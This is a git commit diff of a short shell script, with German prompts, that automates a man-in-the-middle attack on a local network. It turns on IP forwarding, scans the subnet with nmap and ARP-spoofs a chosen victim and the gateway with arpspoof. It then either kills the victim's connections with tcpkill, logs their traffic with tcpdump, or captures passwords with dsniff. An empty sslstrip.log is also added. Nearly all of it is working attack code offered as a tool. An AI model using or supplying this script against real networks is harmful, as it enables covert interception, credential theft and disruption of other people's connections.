This commit is contained in:
simono41 2018-07-19 16:14:33 +02:00
parent a601515d5c
commit a84a9dc416
2 changed files with 22 additions and 8 deletions

View file

@ -10,15 +10,29 @@ fi
echo 1 > /proc/sys/net/ipv4/ip_forward
gateway=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
arp
ip link
read -p "Wie heisst die Schnittstelle? [enp30s0\eth0] : " modul
nmap -sn ${gateway}/24
read -p "Wie heisst die IP? : " ip
gateway=$(ip route show | grep dev -m1 | cut -d" " -f 3 )
if [ -z "$1" ]; then
ip link
read -p "Wie heisst die Schnittstelle? [enp4s0\eth0] : " modul
else
modul="$1"
fi
if [ -z "$2" ]; then
nmap -sn ${gateway}/24
read -p "Wie heisst die IP? : " ip
else
ip="$2"
fi
arpspoof -i $modul -t $ip -r $gateway &
tcpdump -i $modul -A host $ip
sleep 2
if [ -z "$3" ]; then
tcpkill -9 host $ip
elif [ "$3" == "tcpdump" ]; then
tcpdump -i $modul -A host $ip >> out.txt
else
dsniff -i $modul -w out.txt
fi

0
sslstrip.log Normal file
View file